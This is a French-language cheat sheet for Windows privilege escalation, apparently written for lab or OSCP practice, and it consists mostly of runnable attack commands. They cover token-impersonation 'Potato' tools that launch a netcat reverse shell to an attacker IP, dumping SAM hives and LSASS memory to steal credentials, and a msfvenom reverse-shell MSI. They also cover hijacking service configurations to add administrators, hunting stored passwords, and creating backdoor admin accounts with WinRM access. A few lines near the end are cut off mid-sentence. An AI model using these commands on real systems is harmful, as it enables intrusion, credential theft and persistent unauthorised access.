Élévation de privilèges Windows
Potatoes, comptes de service, tokens.
sommaire
- Méthodo & scan automatique
- 1) Abus de privilèges (whoami /priv)
- SeImpersonate / SeAssignPrimaryToken → Potato (comptes de service)
- SeBackup / SeRestore → lire SAM & SYSTEM
- SeDebug → dump mémoire de LSASS
- 2) Services Windows
- Unquoted Service Path
- Permissions faibles sur le service (reconfiguration)
- Binaire du service inscriptible / DLL hijacking
- 3) Registre
- AlwaysInstallElevated (installe un MSI en SYSTEM)
- Identifiants stockés dans le registre
- 4) Identifiants dans les fichiers
- 5) Tâches planifiées & démarrage
- 6) Contournement d’UAC (admin Medium → High Integrity)
- 7) Exploits noyau & CVE fréquents
- 8) Accès stable post-privesc (compte admin + WinRM)
Méthodo & scan automatique
Commencer par whoami /priv + un scan auto. Voir aussi la fiche « Énumération Windows ».
.\winPEASx64.exe
powershell -ep bypass ; . .\PowerUp.ps1 ; Invoke-AllChecks
.\Seatbelt.exe -group=all
# exploits manquants (a partir de systeminfo) : wesng / windows-exploit-suggester / Watson
1) Abus de privilèges (whoami /priv)
SeImpersonate / SeAssignPrimaryToken → Potato (comptes de service)
Typique de IIS, MSSQL, comptes de service. On usurpe le token SYSTEM.
PrintSpoofer.exe -i -c cmd # Win10 / 2016 / 2019
GodPotato -cmd "cmd /c whoami" # .NET, tres large support
GodPotato.exe -cmd "C:\Users\eric\Desktop\nc.exe <IP_KALI> 4444 -e cmd.exe"
JuicyPotato.exe -l 1337 -p cmd.exe -t * -c {CLSID} # <= 2016
# variantes : RoguePotato, SweetPotato, EfsPotato
SeBackup / SeRestore → lire SAM & SYSTEM
reg save HKLM\SAM sam.sav
reg save HKLM\SYSTEM system.sav
reg save HKLM\SECURITY security.sav
# cote attaquant :
impacket-secretsdump -sam sam.sav -system system.sav -security security.sav LOCAL
impacket-secretsdump 'j.doe:Password123@10.10.10.20'| ./loot.py
SeDebug → dump mémoire de LSASS
rundll32 C:\Windows\System32\comsvcs.dll MiniDump <PID_lsass> C:\temp\lsass.dmp full
# puis : pypykatz lsa minidump lsass.dmp (ou mimikatz sekurlsa::logonpasswords)
2) Services Windows
Unquoted Service Path
wmic service get name,pathname,startmode | findstr /i "Auto" | findstr /iv "C:\Windows"
# chemin non entoure de guillemets + espace + dossier inscriptible -> deposer C:\Program.exe
sc qc <service> ; sc start <service>
Permissions faibles sur le service (reconfiguration)
accesschk.exe -uwcqv "Utilisateurs" * # services modifiables par l'utilisateur
sc config <service> binPath= "cmd /c net localgroup administrators moi /add"
sc stop <service> & sc start <service>
Binaire du service inscriptible / DLL hijacking
# exe du service remplacable -> le remplacer par un payload puis redemarrer le service
# DLL manquante cherchee dans un dossier inscriptible du PATH -> y deposer une DLL malveillante
3) Registre
AlwaysInstallElevated (installe un MSI en SYSTEM)
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# si les DEUX valent 1 :
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f msi -o e.msi
msiexec /quiet /qn /i e.msi
Identifiants stockés dans le registre
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" # DefaultPassword
cmdkey /list ; runas /user:admin /savecred "cmd /c calc"
reg query HKCU\Software\SimonTatham\PuTTY\Sessions # PuTTY / WinSCP / VNC / SNMP
4) Identifiants dans les fichiers
# GPP cPassword (dechiffrable, cle AES publique) :
findstr /S /I cpassword \\<domaine>\sysvol\*.xml
gpp-decrypt <cpassword>
# unattend / sysprep :
dir /s /b C:\unattend.xml C:\Windows\Panther\Unattend.xml sysprep.xml
# recherche large :
findstr /si password *.txt *.ini *.config *.xml *.ps1 2>nul
5) Tâches planifiées & démarrage
schtasks /query /fo LIST /v | findstr /i "TaskName Run"
# tache lancee par SYSTEM dont le script/binaire est inscriptible -> le remplacer
# cles Run + dossiers Startup inscriptibles
6) Contournement d’UAC (admin Medium → High Integrity)
whoami /groups # chercher 'Mandatory Level' : Medium vs High
# si admin en Medium Integrity : fodhelper, eventvwr, sdclt, ComputerDefaults
7) Exploits noyau & CVE fréquents
systeminfo -> wesng (Windows Exploit Suggester NG)
PrintNightmare CVE-2021-1675 / CVE-2021-34527
HiveNightmare/SeriousSAM CVE-2021-36934 (SAM lisible par tous les utilisateurs)
autres : MS16-032, MS15-051, RottenPotato, CVE-2021-40449 (CallbackHunter)
Référence indispensable : https://lolbas-project.github.io (binaires Windows légitimes détournables)
8) Accès stable post-privesc (compte admin + WinRM)
GodPotato exige SeImpersonatePrivilege (verifier : whoami /priv). Deux options : one-shot avec -cmd depuis la session user, ou après un privesc SYSTEM/Admin (GodPotato, service, etc.), ne
# one-shot via GodPotato depuis une session user lambda (requiert SeImpersonatePrivilege) :
.\GodPotato-NET4.exe -cmd "cmd /c net localgroup administrators eric /add"
# ou creer un nouveau compte :
.\GodPotato-NET4.exe -cmd "cmd /c net user oscp P@ssw0rd123! /add"
.\GodPotato-NET4.exe -cmd "cmd /c net localgroup administrators oscp /add"
# activer WinRM si 5985 ferme (ouvre le firewall automatiquement) :
.\GodPotato-NET4.exe -cmd "cmd /c powershell -ep bypass -c Enable-PSRemoting -Force -SkipNetworkProfileCheck"
# si on est DEJA dans un shell SYSTEM : memes commandes sans GodPotato
p
# cote Kali :
evil-winrm -i 10.10.114.141 -u eric -p '<mdp>'
# alternative stable si OpenSSH Server tourne : ssh eric@10.10.114.141
as garder un reverse shell bancal (PATH cassé, encoding) : ajouter son compte au groupe admins et repartir sur WinRM ou SSH.
• Shell GodPotato/reverse shell : PATH souvent incomplet -> cd/dir (builtins cmd) OK mais whoami, net, .exe “non reconnus”. Fix session : set PATH=C:\Windows\System32;C:\Windows;C:\Windows\System32\Wbem ou utiliser les chemins complets : C:\Windows\System32\whoami.exe /all • Compte local : evil-winrm passe en NTLM directement ; compte de domaine : -u user -d DOMAIN (ou kerberos -k).